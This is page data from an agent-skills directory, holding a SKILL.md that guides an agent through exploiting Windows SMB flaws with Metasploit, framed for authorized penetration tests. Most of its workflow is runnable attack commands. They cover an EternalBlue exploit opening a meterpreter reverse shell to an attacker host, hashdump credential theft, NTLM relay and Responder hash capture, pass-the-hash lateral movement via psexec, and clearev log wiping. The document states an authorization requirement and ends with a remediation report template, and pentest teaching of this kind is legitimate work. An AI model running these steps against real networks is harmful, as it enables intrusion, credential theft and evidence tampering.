[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7E3VTYE9DAK1C0GTYFQH4J8":3,"skill-same:01M7E3VTYE9DAK1C0GTYFQH4J8":83},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":45,"commitSha":46,"skillDirectory":47,"forksCount":48,"repositoryHtmlUrl":49,"repositoryHomepageUrl":6,"ownerHtmlUrl":50,"ownerBlogUrl":6,"ownerDescription":51,"updatedAt":52,"install":53,"resources":66},"01M7E3VTYE9DAK1C0GTYFQH4J8","exploiting-smb-vulnerabilities-with-metasploit",null,"Identifies and exploits SMB protocol vulnerabilities using Metasploit Framework during authorized penetration tests to demonstrate risks from unpatched Windows systems, misconfigured shares, and weak authentication in enterprise networks.","sanjeevafk\u002Fagent-skills","sanjeevafk","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F230678117?v=4","01M7C540EFY46ETG1NNWKS5X3Q","Sanjeev","01M7C540F366J5C1D587BMKH9Q",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-smb-vulnerabilities-with-metasploit\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-smb-vulnerabilities-with-metasploit\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: exploiting-smb-vulnerabilities-with-metasploit\ndescription: 'Identifies and exploits SMB protocol vulnerabilities using Metasploit\n  Framework during authorized penetration tests to demonstrate risks from unpatched\n  Windows systems, misconfigured shares, and weak authentication in enterprise networks.\n\n  '\ndomain: cybersecurity\nsubdomain: network-security\ntags:\n- network-security\n- smb\n- metasploit\n- exploitation\n- eternalblue\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.IR-01\n- DE.CM-01\n- ID.AM-03\n- PR.DS-02\nmitre_attack:\n- T1046\n- T1040\n- T1557\n- T1071\n---\n# Exploiting SMB Vulnerabilities with Metasploit\n\n## When to Use\n\n- Testing Windows systems for critical SMB vulnerabilities (EternalBlue, EternalRomance, PrintNightmare) during authorized penetration tests\n- Demonstrating lateral movement risks via SMB relay, pass-the-hash, and credential spraying\n- Validating that patch management processes have addressed known SMB vulnerabilities\n- Assessing SMB signing enforcement and share permission configurations across the domain\n- Testing network segmentation by attempting SMB exploitation across VLAN boundaries\n\n**Do not use** against systems without explicit written authorization, against production domain controllers without a maintenance window, or to deploy persistent backdoors beyond the scope of the assessment.\n\n## Prerequisites\n\n- Metasploit Framework 6.x installed (`msfconsole --version`)\n- Authorized penetration test scope document listing target IP ranges and approved attack types\n- Network access to target SMB services (TCP 445, TCP 139)\n- CrackMapExec and Impacket tools installed for complementary SMB testing\n- Valid test credentials or credential wordlists approved for the engagement\n- Kali Linux or equivalent testing platform\n\n## Workflow\n\n### Step 1: Enumerate SMB Services and Versions\n\n```bash\n# Discover hosts with SMB open using Nmap\nnmap -sS -p 445,139 --open -oA smb_hosts 10.10.0.0\u002F24\n\n# Enumerate SMB versions and OS information\nnmap -sV -p 445 --script smb-os-discovery,smb-protocols -oA smb_enum 10.10.0.0\u002F24\n\n# Use CrackMapExec for rapid SMB enumeration\ncrackmapexec smb 10.10.0.0\u002F24 --gen-relay-list smb_nosigning.txt\n\n# Check SMB signing status (disabled = vulnerable to relay)\ncrackmapexec smb 10.10.0.0\u002F24 --smb-signing\n\n# Enumerate shares with null session\ncrackmapexec smb 10.10.0.0\u002F24 -u '' -p '' --shares\n```\n\n### Step 2: Scan for Known SMB Vulnerabilities\n\n```bash\n# Start Metasploit and scan for MS17-010 (EternalBlue)\nmsfconsole -q\nmsf6> use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_ms17_010\nmsf6 auxiliary(smb_ms17_010)> set RHOSTS file:smb_hosts.txt\nmsf6 auxiliary(smb_ms17_010)> set THREADS 10\nmsf6 auxiliary(smb_ms17_010)> run\n\n# Scan for MS08-067 (Conficker vulnerability)\nmsf6> use auxiliary\u002Fscanner\u002Fsmb\u002Fms08_067_check\nmsf6 auxiliary(ms08_067_check)> set RHOSTS file:smb_hosts.txt\nmsf6 auxiliary(ms08_067_check)> run\n\n# Check for SMBGhost (CVE-2020-0796)\nnmap -p 445 --script smb-vuln-cve-2020-0796 10.10.0.0\u002F24\n\n# Check for PrintNightmare (CVE-2021-34527)\ncrackmapexec smb 10.10.0.0\u002F24 -u testuser -p 'TestPass123' -M printnightmare\n```\n\n### Step 3: Exploit EternalBlue (MS17-010)\n\n```bash\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nmsf6 exploit(ms17_010_eternalblue)> set RHOSTS 10.10.5.23\nmsf6 exploit(ms17_010_eternalblue)> set LHOST 10.10.1.99\nmsf6 exploit(ms17_010_eternalblue)> set LPORT 4444\nmsf6 exploit(ms17_010_eternalblue)> set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nmsf6 exploit(ms17_010_eternalblue)> set MaxExploitAttempts 3\nmsf6 exploit(ms17_010_eternalblue)> exploit\n\n# Post-exploitation -- verify access level\nmeterpreter> getuid\n# Server username: NT AUTHORITY\\SYSTEM\n\nmeterpreter> sysinfo\nmeterpreter> ipconfig\nmeterpreter> hashdump\n```\n\n### Step 4: Perform SMB Relay Attack\n\n```bash\n# Identify hosts without SMB signing (from Step 1)\n# Set up NTLM relay with Impacket\nsudo impacket-ntlmrelayx -tf smb_nosigning.txt -smb2support -i\n\n# Trigger authentication from a compromised host or via phishing\n# From Meterpreter session on a compromised host:\nmeterpreter> shell\nC:\\> net use \\\\10.10.1.99\\share \u002Fuser:DOMAIN\\admin password\n\n# Or use Metasploit's SMB relay module\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fsmb_relay\nmsf6 exploit(smb_relay)> set SMBHOST 10.10.5.30\nmsf6 exploit(smb_relay)> set LHOST 10.10.1.99\nmsf6 exploit(smb_relay)> exploit\n\n# Use responder to capture NTLM hashes for offline cracking\nsudo responder -I eth0 -wrfv\n```\n\n### Step 5: Pass-the-Hash and Lateral Movement via SMB\n\n```bash\n# Extract hashes from compromised system\nmeterpreter> hashdump\n# Administrator:500:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::\n\n# Use pass-the-hash with CrackMapExec\ncrackmapexec smb 10.10.0.0\u002F24 -u Administrator \\\n  -H e19ccf75ee54e06b06a5907af13cef42 --shares\n\n# Execute commands via pass-the-hash\ncrackmapexec smb 10.10.5.30 -u Administrator \\\n  -H e19ccf75ee54e06b06a5907af13cef42 -x \"whoami && hostname\"\n\n# Use Impacket psexec for interactive shell\nimpacket-psexec Administrator@10.10.5.30 \\\n  -hashes aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42\n\n# Use Metasploit psexec module\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fpsexec\nmsf6 exploit(psexec)> set RHOSTS 10.10.5.30\nmsf6 exploit(psexec)> set SMBUser Administrator\nmsf6 exploit(psexec)> set SMBPass aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42\nmsf6 exploit(psexec)> set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nmsf6 exploit(psexec)> set LHOST 10.10.1.99\nmsf6 exploit(psexec)> exploit\n```\n\n### Step 6: Document Findings and Clean Up\n\n```bash\n# Document all compromised systems and access levels\n# In Meterpreter, screenshot desktops for evidence\nmeterpreter> screenshot\n\n# List accessible shares and sensitive data\nmeterpreter> shell\nC:\\> net share\nC:\\> dir \\\\10.10.5.30\\C$\\Users\\ \u002Fs \u002Fb\n\n# Clean up -- remove any artifacts\nmeterpreter> clearev\nmeterpreter> shell\nC:\\> del \u002Ff C:\\Windows\\Temp\\payload.exe\n\n# Close all sessions\nmsf6> sessions -K\n\n# Verify cleanup\ncrackmapexec smb 10.10.5.23 -u Administrator -H \u003Chash> -x \"dir C:\\Windows\\Temp\\payload*\"\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **EternalBlue (MS17-010)** | Critical SMB vulnerability in SMBv1 allowing remote code execution as SYSTEM without authentication, originally developed by the NSA and leaked by Shadow Brokers |\n| **SMB Signing** | Cryptographic signing of SMB packets to prevent tampering and relay attacks; when disabled, attackers can relay NTLM authentication to other SMB hosts |\n| **Pass-the-Hash** | Authentication technique using captured NTLM password hashes directly instead of plaintext passwords, bypassing the need to crack the hash |\n| **NTLM Relay** | Attack where captured NTLM authentication is forwarded to a different server in real-time, granting the attacker access as the relayed user |\n| **PsExec** | Remote execution technique that uploads a service binary to the ADMIN$ share and creates a Windows service to execute commands as SYSTEM |\n| **Null Session** | Anonymous SMB connection (empty username and password) that may expose share listings, user enumeration, and policy information on misconfigured systems |\n\n## Tools & Systems\n\n- **Metasploit Framework**: Exploitation framework with dedicated SMB scanner, exploit, and post-exploitation modules for comprehensive SMB testing\n- **CrackMapExec**: Swiss-army knife for SMB enumeration, credential testing, share enumeration, and command execution across Windows networks\n- **Impacket**: Python library providing psexec, smbclient, ntlmrelayx, and other tools for low-level SMB protocol interaction\n- **Responder**: LLMNR\u002FNBT-NS\u002FmDNS poisoner that captures NTLM hashes from Windows name resolution fallback behavior\n- **enum4linux-ng**: Updated SMB enumeration tool for extracting users, groups, shares, and policies from Windows\u002FSamba hosts\n\n## Common Scenarios\n\n### Scenario: Internal Penetration Test Targeting Windows Domain via SMB\n\n**Context**: During an internal penetration test for a financial services firm, the tester has network access to the corporate VLAN (10.10.0.0\u002F16). The scope includes testing all Windows servers and workstations for SMB-related vulnerabilities. Active Directory domain is CORP.EXAMPLE.COM with approximately 200 hosts.\n\n**Approach**:\n1. Scan the entire \u002F16 for open SMB ports and enumerate OS versions with CrackMapExec\n2. Identify 12 hosts running Windows Server 2012 R2 without MS17-010 patch applied\n3. Exploit EternalBlue on a non-critical file server (10.10.5.23) to gain SYSTEM access\n4. Extract local administrator password hash using hashdump and discover password reuse across 47 hosts\n5. Use pass-the-hash to access a domain controller, extracting the NTDS.dit database\n6. Demonstrate that SMB signing is disabled on 83% of hosts, enabling relay attacks\n7. Document the complete attack chain showing how one unpatched system led to full domain compromise\n\n**Pitfalls**:\n- EternalBlue exploit can cause a blue screen of death (BSOD) on the target, especially on older or unstable systems\n- Running psexec on heavily monitored endpoints may trigger EDR alerts and burn the engagement\n- Performing hashdump on domain controllers with large databases can cause performance degradation\n- Not checking for SMBv1 explicitly -- some scanners may miss it if SMBv2\u002Fv3 is also available\n\n## Output Format\n\n```\n## SMB Vulnerability Assessment Report\n\n**Engagement**: Internal Penetration Test\n**Target Range**: 10.10.0.0\u002F16 (CORP.EXAMPLE.COM)\n**SMB Hosts Discovered**: 187\n\n### Critical Findings\n\n**Finding 1: MS17-010 (EternalBlue) - 12 Unpatched Hosts**\n- Severity: Critical (CVSS 9.8)\n- Affected: 10.10.5.23, 10.10.5.24, 10.10.8.10 (+ 9 others)\n- Impact: Remote code execution as SYSTEM without authentication\n- Exploited: Yes - gained SYSTEM on 10.10.5.23\n- Remediation: Apply MS17-010 patch, disable SMBv1\n\n**Finding 2: SMB Signing Disabled - 155\u002F187 Hosts**\n- Severity: High (CVSS 7.5)\n- Impact: NTLM relay attacks allow credential forwarding\n- Exploited: Yes - relayed domain admin credentials\n- Remediation: Enable SMB signing via Group Policy\n\n**Finding 3: Local Admin Password Reuse - 47 Hosts**\n- Severity: High (CVSS 7.2)\n- Impact: Compromise of one host enables lateral movement to 47 systems\n- Remediation: Deploy LAPS (Local Administrator Password Solution)\n```\n","# Exploiting SMB Vulnerabilities with Metasploit\n\n## When to Use\n\n- Testing Windows systems for critical SMB vulnerabilities (EternalBlue, EternalRomance, PrintNightmare) during authorized penetration tests\n- Demonstrating lateral movement risks via SMB relay, pass-the-hash, and credential spraying\n- Validating that patch management processes have addressed known SMB vulnerabilities\n- Assessing SMB signing enforcement and share permission configurations across the domain\n- Testing network segmentation by attempting SMB exploitation across VLAN boundaries\n\n**Do not use** against systems without explicit written authorization, against production domain controllers without a maintenance window, or to deploy persistent backdoors beyond the scope of the assessment.\n\n## Prerequisites\n\n- Metasploit Framework 6.x installed (`msfconsole --version`)\n- Authorized penetration test scope document listing target IP ranges and approved attack types\n- Network access to target SMB services (TCP 445, TCP 139)\n- CrackMapExec and Impacket tools installed for complementary SMB testing\n- Valid test credentials or credential wordlists approved for the engagement\n- Kali Linux or equivalent testing platform\n\n## Workflow\n\n### Step 1: Enumerate SMB Services and Versions\n\n```bash\n# Discover hosts with SMB open using Nmap\nnmap -sS -p 445,139 --open -oA smb_hosts 10.10.0.0\u002F24\n\n# Enumerate SMB versions and OS information\nnmap -sV -p 445 --script smb-os-discovery,smb-protocols -oA smb_enum 10.10.0.0\u002F24\n\n# Use CrackMapExec for rapid SMB enumeration\ncrackmapexec smb 10.10.0.0\u002F24 --gen-relay-list smb_nosigning.txt\n\n# Check SMB signing status (disabled = vulnerable to relay)\ncrackmapexec smb 10.10.0.0\u002F24 --smb-signing\n\n# Enumerate shares with null session\ncrackmapexec smb 10.10.0.0\u002F24 -u '' -p '' --shares\n```\n\n### Step 2: Scan for Known SMB Vulnerabilities\n\n```bash\n# Start Metasploit and scan for MS17-010 (EternalBlue)\nmsfconsole -q\nmsf6> use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_ms17_010\nmsf6 auxiliary(smb_ms17_010)> set RHOSTS file:smb_hosts.txt\nmsf6 auxiliary(smb_ms17_010)> set THREADS 10\nmsf6 auxiliary(smb_ms17_010)> run\n\n# Scan for MS08-067 (Conficker vulnerability)\nmsf6> use auxiliary\u002Fscanner\u002Fsmb\u002Fms08_067_check\nmsf6 auxiliary(ms08_067_check)> set RHOSTS file:smb_hosts.txt\nmsf6 auxiliary(ms08_067_check)> run\n\n# Check for SMBGhost (CVE-2020-0796)\nnmap -p 445 --script smb-vuln-cve-2020-0796 10.10.0.0\u002F24\n\n# Check for PrintNightmare (CVE-2021-34527)\ncrackmapexec smb 10.10.0.0\u002F24 -u testuser -p 'TestPass123' -M printnightmare\n```\n\n### Step 3: Exploit EternalBlue (MS17-010)\n\n```bash\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nmsf6 exploit(ms17_010_eternalblue)> set RHOSTS 10.10.5.23\nmsf6 exploit(ms17_010_eternalblue)> set LHOST 10.10.1.99\nmsf6 exploit(ms17_010_eternalblue)> set LPORT 4444\nmsf6 exploit(ms17_010_eternalblue)> set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nmsf6 exploit(ms17_010_eternalblue)> set MaxExploitAttempts 3\nmsf6 exploit(ms17_010_eternalblue)> exploit\n\n# Post-exploitation -- verify access level\nmeterpreter> getuid\n# Server username: NT AUTHORITY\\SYSTEM\n\nmeterpreter> sysinfo\nmeterpreter> ipconfig\nmeterpreter> hashdump\n```\n\n### Step 4: Perform SMB Relay Attack\n\n```bash\n# Identify hosts without SMB signing (from Step 1)\n# Set up NTLM relay with Impacket\nsudo impacket-ntlmrelayx -tf smb_nosigning.txt -smb2support -i\n\n# Trigger authentication from a compromised host or via phishing\n# From Meterpreter session on a compromised host:\nmeterpreter> shell\nC:\\> net use \\\\10.10.1.99\\share \u002Fuser:DOMAIN\\admin password\n\n# Or use Metasploit's SMB relay module\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fsmb_relay\nmsf6 exploit(smb_relay)> set SMBHOST 10.10.5.30\nmsf6 exploit(smb_relay)> set LHOST 10.10.1.99\nmsf6 exploit(smb_relay)> exploit\n\n# Use responder to capture NTLM hashes for offline cracking\nsudo responder -I eth0 -wrfv\n```\n\n### Step 5: Pass-the-Hash and Lateral Movement via SMB\n\n```bash\n# Extract hashes from compromised system\nmeterpreter> hashdump\n# Administrator:500:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::\n\n# Use pass-the-hash with CrackMapExec\ncrackmapexec smb 10.10.0.0\u002F24 -u Administrator \\\n  -H e19ccf75ee54e06b06a5907af13cef42 --shares\n\n# Execute commands via pass-the-hash\ncrackmapexec smb 10.10.5.30 -u Administrator \\\n  -H e19ccf75ee54e06b06a5907af13cef42 -x \"whoami && hostname\"\n\n# Use Impacket psexec for interactive shell\nimpacket-psexec Administrator@10.10.5.30 \\\n  -hashes aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42\n\n# Use Metasploit psexec module\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fpsexec\nmsf6 exploit(psexec)> set RHOSTS 10.10.5.30\nmsf6 exploit(psexec)> set SMBUser Administrator\nmsf6 exploit(psexec)> set SMBPass aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42\nmsf6 exploit(psexec)> set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nmsf6 exploit(psexec)> set LHOST 10.10.1.99\nmsf6 exploit(psexec)> exploit\n```\n\n### Step 6: Document Findings and Clean Up\n\n```bash\n# Document all compromised systems and access levels\n# In Meterpreter, screenshot desktops for evidence\nmeterpreter> screenshot\n\n# List accessible shares and sensitive data\nmeterpreter> shell\nC:\\> net share\nC:\\> dir \\\\10.10.5.30\\C$\\Users\\ \u002Fs \u002Fb\n\n# Clean up -- remove any artifacts\nmeterpreter> clearev\nmeterpreter> shell\nC:\\> del \u002Ff C:\\Windows\\Temp\\payload.exe\n\n# Close all sessions\nmsf6> sessions -K\n\n# Verify cleanup\ncrackmapexec smb 10.10.5.23 -u Administrator -H \u003Chash> -x \"dir C:\\Windows\\Temp\\payload*\"\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **EternalBlue (MS17-010)** | Critical SMB vulnerability in SMBv1 allowing remote code execution as SYSTEM without authentication, originally developed by the NSA and leaked by Shadow Brokers |\n| **SMB Signing** | Cryptographic signing of SMB packets to prevent tampering and relay attacks; when disabled, attackers can relay NTLM authentication to other SMB hosts |\n| **Pass-the-Hash** | Authentication technique using captured NTLM password hashes directly instead of plaintext passwords, bypassing the need to crack the hash |\n| **NTLM Relay** | Attack where captured NTLM authentication is forwarded to a different server in real-time, granting the attacker access as the relayed user |\n| **PsExec** | Remote execution technique that uploads a service binary to the ADMIN$ share and creates a Windows service to execute commands as SYSTEM |\n| **Null Session** | Anonymous SMB connection (empty username and password) that may expose share listings, user enumeration, and policy information on misconfigured systems |\n\n## Tools & Systems\n\n- **Metasploit Framework**: Exploitation framework with dedicated SMB scanner, exploit, and post-exploitation modules for comprehensive SMB testing\n- **CrackMapExec**: Swiss-army knife for SMB enumeration, credential testing, share enumeration, and command execution across Windows networks\n- **Impacket**: Python library providing psexec, smbclient, ntlmrelayx, and other tools for low-level SMB protocol interaction\n- **Responder**: LLMNR\u002FNBT-NS\u002FmDNS poisoner that captures NTLM hashes from Windows name resolution fallback behavior\n- **enum4linux-ng**: Updated SMB enumeration tool for extracting users, groups, shares, and policies from Windows\u002FSamba hosts\n\n## Common Scenarios\n\n### Scenario: Internal Penetration Test Targeting Windows Domain via SMB\n\n**Context**: During an internal penetration test for a financial services firm, the tester has network access to the corporate VLAN (10.10.0.0\u002F16). The scope includes testing all Windows servers and workstations for SMB-related vulnerabilities. Active Directory domain is CORP.EXAMPLE.COM with approximately 200 hosts.\n\n**Approach**:\n1. Scan the entire \u002F16 for open SMB ports and enumerate OS versions with CrackMapExec\n2. Identify 12 hosts running Windows Server 2012 R2 without MS17-010 patch applied\n3. Exploit EternalBlue on a non-critical file server (10.10.5.23) to gain SYSTEM access\n4. Extract local administrator password hash using hashdump and discover password reuse across 47 hosts\n5. Use pass-the-hash to access a domain controller, extracting the NTDS.dit database\n6. Demonstrate that SMB signing is disabled on 83% of hosts, enabling relay attacks\n7. Document the complete attack chain showing how one unpatched system led to full domain compromise\n\n**Pitfalls**:\n- EternalBlue exploit can cause a blue screen of death (BSOD) on the target, especially on older or unstable systems\n- Running psexec on heavily monitored endpoints may trigger EDR alerts and burn the engagement\n- Performing hashdump on domain controllers with large databases can cause performance degradation\n- Not checking for SMBv1 explicitly -- some scanners may miss it if SMBv2\u002Fv3 is also available\n\n## Output Format\n\n```\n## SMB Vulnerability Assessment Report\n\n**Engagement**: Internal Penetration Test\n**Target Range**: 10.10.0.0\u002F16 (CORP.EXAMPLE.COM)\n**SMB Hosts Discovered**: 187\n\n### Critical Findings\n\n**Finding 1: MS17-010 (EternalBlue) - 12 Unpatched Hosts**\n- Severity: Critical (CVSS 9.8)\n- Affected: 10.10.5.23, 10.10.5.24, 10.10.8.10 (+ 9 others)\n- Impact: Remote code execution as SYSTEM without authentication\n- Exploited: Yes - gained SYSTEM on 10.10.5.23\n- Remediation: Apply MS17-010 patch, disable SMBv1\n\n**Finding 2: SMB Signing Disabled - 155\u002F187 Hosts**\n- Severity: High (CVSS 7.5)\n- Impact: NTLM relay attacks allow credential forwarding\n- Exploited: Yes - relayed domain admin credentials\n- Remediation: Enable SMB signing via Group Policy\n\n**Finding 3: Local Admin Password Reuse - 47 Hosts**\n- Severity: High (CVSS 7.2)\n- Impact: Compromise of one host enables lateral movement to 47 systems\n- Remediation: Deploy LAPS (Local Administrator Password Solution)\n```\n",{"name":5,"tags":25,"author":31,"domain":32,"license":15,"version":33,"nist_csf":34,"subdomain":26,"description":39,"mitre_attack":40},[26,27,28,29,30],"network-security","smb","metasploit","exploitation","eternalblue","mahipal","cybersecurity","1.0",[35,36,37,38],"PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02","Identifies and exploits SMB protocol vulnerabilities using Metasploit Framework during authorized penetration tests to demonstrate risks from unpatched Windows systems, misconfigured shares, and weak authentication in enterprise networks.\n",[41,42,43,44],"T1046","T1040","T1557","T1071","main","4e084e84eb42fc53e144c89c0f7f48b39c8a4b0f","collections\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-smb-vulnerabilities-with-metasploit",1,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills","https:\u002F\u002Fgithub.com\u002Fsanjeevafk","First make it work. Then make it right. Then make it fast.","2026-11-14 13:36:16",{"source":8,"skillName":5,"commands":54,"prompt":64,"zipAvailable":65},[55,58,61],{"tool":56,"command":57},"npx","npx skills add sanjeevafk\u002Fagent-skills --skill exploiting-smb-vulnerabilities-with-metasploit",{"tool":59,"command":60},"bunx","bunx skills add sanjeevafk\u002Fagent-skills --skill exploiting-smb-vulnerabilities-with-metasploit",{"tool":62,"command":63},"pnpm","pnpm dlx skills add sanjeevafk\u002Fagent-skills --skill exploiting-smb-vulnerabilities-with-metasploit","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-smb-vulnerabilities-with-metasploit\u002FSKILL.md",true,[67,71,77],{"path":68,"resourceType":68,"resourceTypeDesc":69,"sizeBytes":70,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":72,"resourceType":73,"resourceTypeDesc":74,"sizeBytes":75,"sourceHtmlUrl":76},"references\u002Fapi-reference.md","REFERENCE","参考文档",1935,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-smb-vulnerabilities-with-metasploit\u002Freferences\u002Fapi-reference.md",{"path":78,"resourceType":79,"resourceTypeDesc":80,"sizeBytes":81,"sourceHtmlUrl":82},"scripts\u002Fagent.py","SCRIPT","脚本",5993,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-smb-vulnerabilities-with-metasploit\u002Fscripts\u002Fagent.py",[84,92,100,108,116,123],{"skillNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":88,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":20},"01M7EFHX67M3KKXT1BXVPA5ADT","zarr-python","Chunked N-D arrays for cloud storage (Zarr-Python 3). Compressed arrays, parallel I\u002FO, S3\u002FGCS via fsspec, NumPy\u002FDask\u002FXarray compatible, for large-scale scientific computing pipelines.","MIT","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzarr-python\u002FSKILL.md",[],[],{"skillNo":93,"name":94,"nameZh":6,"description":95,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":88,"licenseFileUrl":96,"sourceHtmlUrl":97,"categories":98,"keywords":99,"publishedAt":20},"01M7EFFQGM51TZBGRENXY50ZYM","whiteboard-diagrams","Create accurate, simple, hand-drawn whiteboard diagrams from a user's process, system, architecture, learning workflow, comparison, or causal explanation. Use when the user asks for a scribbly whiteboard visual, educational workflow graphic, hand-drawn explainer, or diagram like the bundled reference; ask one focused clarification question when the subject or relationships are missing, then generate and visually verify the final image.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwhiteboard-diagrams\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwhiteboard-diagrams\u002FSKILL.md",[],[],{"skillNo":101,"name":102,"nameZh":6,"description":103,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":104,"sourceHtmlUrl":105,"categories":106,"keywords":107,"publishedAt":20},"01M7EFF1CSQNTDMHFK4ZGY6NYK","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwebapp-testing\u002FSKILL.md",[],[],{"skillNo":109,"name":110,"nameZh":6,"description":111,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":112,"sourceHtmlUrl":113,"categories":114,"keywords":115,"publishedAt":20},"01M7EFE8106X6C28FT8PA74427","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fweb-artifacts-builder\u002FSKILL.md",[],[],{"skillNo":117,"name":118,"nameZh":6,"description":119,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":88,"licenseFileUrl":6,"sourceHtmlUrl":120,"categories":121,"keywords":122,"publishedAt":20},"01M7EFCSNZM9G7ZHS6F127Q71X","verification-loop","A comprehensive verification system for Claude Code sessions.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fverification-loop\u002FSKILL.md",[],[],{"skillNo":124,"name":125,"nameZh":6,"description":126,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":88,"licenseFileUrl":127,"sourceHtmlUrl":128,"categories":129,"keywords":130,"publishedAt":20},"01M7EFCE7EZMKPRYDDNKBQ9EEH","vercel-deploy","Deploy applications and websites to Vercel. Use when the user requests deployment actions like \"deploy my app\", \"deploy and give me the link\", \"push this live\", or \"create a preview deployment\".","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fvercel-deploy\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fvercel-deploy\u002FSKILL.md",[],[]]